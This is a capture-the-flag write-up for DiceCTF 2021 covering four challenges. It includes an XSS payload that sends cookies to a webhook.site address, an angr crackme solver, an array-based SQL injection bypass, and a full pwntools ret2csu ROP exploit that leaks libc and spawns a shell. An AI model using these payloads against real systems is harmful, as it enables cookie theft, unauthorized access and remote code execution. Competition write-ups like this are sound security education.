# DiceCTF 2021
This competition was on 5 - 7 Feb 2021. We placed 157th / 1059.
## Babier CSP
HTML ended up being executed directly on a webpage through a get parameter (name), but script tags weren't. After I added the fixed CSP nonce to the script tag, I was able to achieve a reflected XSS. `Webhook.site` is a site which allows the logging of the HTTP requests to itself, which I used to recover the secret cookie and ultimately the flag.
The complete payload was
https://babier-csp.dicec.tf/?name=%3Cscript%20nonce=%22LRGWAXOY98Es0zz0QOVmag==%22%20src=%22https://webhook.site/e5a244d7-94d3-40f8-899e-e268de336024?cookie=%22%2Bdocument.cookie%3E%3C/script%3E
## babymix
I determined the state which lead to "Correct!" being outputted in a crackme which was ultimately the flag. Read more at https://docs.angr.io/core-concepts/pathgroups
```
import angr
b = angr.Project('babymix')
simgr = b.factory.simgr()
simgr.explore(find=lambda s: b"Correct!" in s.posix.dumps(1))
s = simgr.found[0]
print(s.posix.dumps(1))
flag = s.posix.dumps(0)
print(flag)
```
## Missing flavortext


After reading the source, this appears to be a sqlite injection with an apostrophe restriction. However, it seems impossible! You need double quotes to escape out of an apostrophe in sqlite, so `user: \, pass: OR 1=1; --` doesn't work. Luckily, the backend javascript uses an includes function to filter apostrophes. Making password an array would bypass the apostrophe restriction.
`user: admin`
`pass[]: ' OR 1=1;--`
as get parameters will grant you the flag!
## babyrop

I disassembled the binary with `objdump -d babyrop -M intel`. I noticed a large number of pops in `__libc_csu_init`, which is indicative of an abundance of ROP gadgets. ROP gadgets enable one to control register (assembly variable) values without executing shellcode/writing stuff on the stack. Because of this observation, I suspected this binary to be vulnerable to ret2csu.
I followed https://pwning.tech/2020/04/13/ret2csu/ a lot.
The premise is that `__libc_csu_init` allows one to control the three top argument registers, rdi, rsi, and rcx, from the x64 calling convention. Put another way, when calling a function in x64 assembly, the first argument needs to be in rdi, second in rsi, and third in rcx. This enables one to call `write`, which has three arguments (`man 2 write`), which will output the address of any function in GOT table. This is important because GOT tables enable in loading functions from libc (a global C library) at runtime, and these functions' address locations are randomized. By printing out a function in the GOT table, you can de-randomize the libc base, and therefore use one gadgets (automatic shell popping gadgets in libc versions).
The complete "tools" I used in no particular order were:
* gdb (C binary debugger)
* gef (Prints out stack info, helped me find buffer overflow offset with 'pattern create' and 'pattern search')
* skel from gef-scripts (skeleton code)
* pwntools (library required to run skel)
* objdump to read through disassembly of binary
* ldd to locate which library was dynamically linked to binary
* onegadget to discover one gadgets given a libc file
* ROPgadget to discover ROP gadgets
* tmux (required to run skel template)
```
#!/usr/bin/env python3
import sys, os
from pwn import *
context.update(
arch="amd64",
endian="little",
os="linux",
log_level="debug",
terminal=["tmux", "split-window", "-h", "-p 65"],
)
REMOTE = False
TARGET = os.path.realpath("/home/jolly/Downloads/babyrop")
elf = ELF(TARGET)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def attach(r):
if not REMOTE:
bkps = ['*0x40116b']
cmds = []
gdb.attach(r, '\n'.join(["break %s" % (x,) for x in bkps] + cmds))
def pad_null_bytes(value):
return value + b'\x00' * (8 - len(value))
# rdi, rsi, rdx, rcx
def set_args(val1, val2, val3):
buf = b''
buf += p64(0x4011ca) # pop rbx, pop rbp, pop r12, pop r13, pop r14, pop r15
buf += p64(0)
buf += p64(1)
buf += p64(val1)
buf += p64(val2)
buf += p64(val3)
buf += p64(0x403e28)
"""
mov rdx, r14;
mov rsi, r13;
mov edi, r12d;
call QWORD PTR [r15+rbx*8] # => [0x403e28]->0x401000
add rbx, 01;
cmp rbp, rbx;
jne ...;
pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;
"""
buf += p64(0x4011b0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
return buf
def exploit(r):
attach(r)
buf = b''
buf += b'A' * 72
"""
write@plt (
$rdi = 0x0000000000000001,
$rsi = 0x0000000000402004 → "Your name: ",
$rdx = 0x000000000000000b
)
"""
# write(fd=1, buf=GOT[gets], count=8)
buf += set_args(1, elf.got['gets'], 8)
buf += p64(elf.plt['write']) # call to write
buf += p64(elf.symbols['main'])
r.sendline(buf)
r.recv(0xb)
gets_loc = r.recv(6)
gets_leak = u64(pad_null_bytes(gets_loc))
libc.address = gets_leak - libc.symbols['gets']
log.info(f"Libc @ {hex(libc.address)}")
pop_rdi = p64(0x4011d3)
buf = b''
buf += b'A' * 72
# below can be replaced with buf += p64(libc.address + onegadgetaddr)
buf += pop_rdi
buf += p64(next(libc.search(b"/bin/sh")))
buf += p64(libc.sym["system"])
buf += p64(libc.sym["exit"])
r.sendline(buf)
r.interactive()
if __name__ == "__main__":
if len(sys.argv) == 2 and sys.argv[1] == "remote":
REMOTE = True
r = remote("dicec.tf", 31924)
else:
REMOTE = False
r = process([TARGET,])
exploit(r)
sys.exit(0)
```
